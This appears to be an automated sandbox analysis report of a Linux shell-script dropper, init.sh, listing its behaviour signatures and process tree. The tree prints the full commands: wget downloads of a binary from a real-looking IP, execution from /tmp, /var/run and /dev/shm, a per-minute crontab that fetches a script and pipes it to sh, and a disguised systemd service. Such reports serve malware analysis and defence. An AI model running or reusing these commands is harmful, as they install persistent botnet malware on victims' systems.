Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/06/2026, 06:18

General

  • Target
    init.sh
  • Size 12KB
  • Sample260620-g2pydaey91
  • SHA256 bb5ec0fa428ab921e6f2b7439647deeb26f5376575fa90a4f1ef825c4fcab2cb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/init.sh
    /tmp/init.sh
    1⤵
    • Executes dropped EXE
    PID:655
    • /bin/uname
      uname -m
      2⤵
        PID:656
      • /usr/bin/awk
        awk -F/ "{print \$3}"
        2⤵
          PID:660
        • /usr/bin/cut
          cut -d: -f1
          2⤵
            PID:661
          • /usr/bin/wget
            wget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /tmp/.d
            2⤵
            • Writes file to tmp directory
            PID:668
          • /bin/chmod
            chmod +x /tmp/.d
            2⤵
            • File and Directory Permissions Modification
            PID:686
          • /bin/sleep
            sleep 2
            2⤵
              PID:689
            • /tmp/.d
              /tmp/.d
              2⤵
              • Deletes itself
              • Modifies Watchdog functionality
              • Creates/modifies Cron job
              • Modifies systemd
              • Reads MAC address of network interface
              • Changes its process name
              • Checks CPU configuration
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:690
              • /bin/sh
                sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                3⤵
                  PID:695
                  • /bin/systemctl
                    /bin/systemctl daemon-reload
                    4⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:696
                • /bin/sh
                  sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                  3⤵
                    PID:709
                    • /bin/systemctl
                      /bin/systemctl enable --now redis-sentinel.service
                      4⤵
                      • Enumerates kernel/hardware configuration
                      PID:710
                  • /bin/sh
                    sh -c "/usr/bin/crontab -l 2>/dev/null"
                    3⤵
                      PID:733
                      • /usr/bin/crontab
                        /usr/bin/crontab -l
                        4⤵
                          PID:735
                      • /bin/sh
                        sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 693 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                        3⤵
                          PID:737
                          • /usr/bin/crontab
                            /usr/bin/crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:738
                      • /usr/bin/pkill
                        pkill -f /tmp/.d
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:711
                      • /bin/rm
                        rm -f /tmp/.d
                        2⤵
                          PID:724
                        • /usr/bin/wget
                          wget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /var/run/.d
                          2⤵
                            PID:725
                          • /bin/chmod
                            chmod +x /var/run/.d
                            2⤵
                            • File and Directory Permissions Modification
                            PID:728
                          • /bin/sleep
                            sleep 2
                            2⤵
                              PID:730
                            • /var/run/.d
                              /var/run/.d
                              2⤵
                                PID:731
                              • /usr/bin/pkill
                                pkill -f /var/run/.d
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:780
                              • /bin/rm
                                rm -f /var/run/.d
                                2⤵
                                  PID:781
                                • /usr/bin/wget
                                  wget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /dev/shm/.d
                                  2⤵
                                  • Writes file to shm directory
                                  PID:782
                                • /bin/chmod
                                  chmod +x /dev/shm/.d
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:783
                                • /bin/sleep
                                  sleep 2
                                  2⤵
                                    PID:785
                                  • /dev/shm/.d
                                    /dev/shm/.d
                                    2⤵
                                    • Deletes itself
                                    • Modifies Watchdog functionality
                                    • Creates/modifies Cron job
                                    • Enumerates active TCP sockets
                                    • Reads MAC address of network interface
                                    • Changes its process name
                                    • Checks CPU configuration
                                    • Reads system network configuration
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:786
                                    • /bin/sh
                                      sh -c "/usr/bin/crontab -l 2>/dev/null"
                                      3⤵
                                        PID:811
                                        • /usr/bin/crontab
                                          /usr/bin/crontab -l
                                          4⤵
                                          • Reads runtime system information
                                          PID:813
                                      • /bin/sh
                                        sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 788 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                        3⤵
                                          PID:816
                                          • /usr/bin/crontab
                                            /usr/bin/crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            PID:817
                                      • /bin/rm
                                        rm -f /tmp/init.sh
                                        2⤵
                                          PID:825

                                      Network

                                            MITRE ATT&CK Enterprise v16

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                                            .d

                                            • Path /tmp/.d
                                            • Size 102KB
                                            • SHA256 e80bdd61c33b35d0697f5a183b78f255b0ccb86d39784af9b9f7916d93129998
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            tmp.fFcMqD

                                            • Path /var/spool/cron/crontabs/tmp.fFcMqD
                                            • Size 342B
                                            • SHA256 c96535ff0651bf29f7f97431b6327f15b9e6600a27f788382fa189b72a00a512
                                            • MD5 SHA1 SHA512 TLSH

                                            tmp.viN9du

                                            • Path /var/spool/cron/crontabs/tmp.viN9du
                                            • Size 342B
                                            • SHA256 a42ec9535b0c29fe7fc18360a1a02931badad12fa7a4c664e7841603896e9a5b
                                            • MD5 SHA1 SHA512 TLSH